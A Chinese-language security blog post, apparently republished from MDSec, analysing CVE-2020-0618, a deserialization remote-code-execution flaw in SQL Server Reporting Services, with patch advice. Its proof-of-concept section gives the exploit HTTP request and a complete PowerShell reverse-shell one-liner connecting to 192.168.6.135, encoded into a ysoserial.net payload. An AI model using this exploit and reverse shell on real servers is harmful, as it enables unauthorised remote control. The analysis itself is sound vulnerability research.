前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL Server Reporting Services(CVE-2020-0618)中的RCE

SQL Server Reporting Services(CVE-2020-0618)中的RCE

作者头像
洛米唯熊
发布2020-02-25 16:37:48
1.6K0
发布2020-02-25 16:37:48
举报
文章被收录于专栏:洛米唯熊

0x00:前提概要

SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告.

SSRS Web应用程序中的功能允许低特权用户帐户通过利用反序列化问题在服务器上运行代码.

尽管只有授权用户才能访问该应用程序,但是最低权限(浏览器角色)足以利用此问题.

0x01:技术分析

在ReportingServicesWebServer.dll中发现了此问题.Microsoft.Reporting.WebForms.BrowserNavigationCorrectorOnLoad方法使用LosFormatter类反序列化不受信任的用户输入:

代码语言:javascript
复制
protected override void OnLoad(EventArgs e)
{
  base.OnLoad(e);
  this.EnsureChildControls();
  if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
  {
    string value = this.m_viewerViewState.Value;
    if (!string.IsNullOrEmpty(value))
    {
      LosFormatter losFormatter = new LosFormatter();
      object obj = null;
      try
      {
        obj = losFormatter.Deserialize(value)

BrowserNavigationCorrector类是使用由Microsoft.ReportingServices.WebServer.ReportViewerPage类:

代码语言:javascript
复制
protected override void OnInit(EventArgs e)
{
  base.OnInit(e);
  ReportViewerHost reportViewer = this.ReportViewer;
  reportViewer.EnableHybrid = this.ShowHybrid;
  if (reportViewer != null)
  {
    PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
    reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
    BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
    reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

例如,可以通过在本地 SharePoint服务器中调用/ReportServer/pages/ReportViewer.aspx页面来触发此功能.

0x02:漏洞验证(POC)

可以将以下HTTP请求发送到服务器以利用该应用程序:

代码语言:javascript
复制
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

可以在PowerShell中使用以下命令来使用ysoserial.net工具生成有效负载:

代码语言:javascript
复制
ysoserial.net工具:https://github.com/pwntester/ysoserial.net
代码语言:javascript
复制
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

以下屏幕截图显示了使用上面生成的有效负载发送HTTP请求后获得了反向shell:

这个问题被解决了.使用LosFormatter类时,该修补程序仅启用了MAC验证:

代码语言:javascript
复制
LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

0x03:修复建议

  • 在服务器上应用2020年2月补丁.应当指出,攻击者可以轻松地编码其请求,以逃避Web应用程序防火墙.因此,修补程序将是停止此漏洞的唯一可靠的选择.
  • 确保只有经过身份验证的用户才能访问该应用程序,并且匿名用户没有浏览器角色.
  • 如果您怀疑服务器已经受到威胁,除了遵循正常的事件响应过程外,请确保循环使用服务器的计算机密钥,因为即使在应用补丁程序之后,这仍然可以促进代码执行. Referer:https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档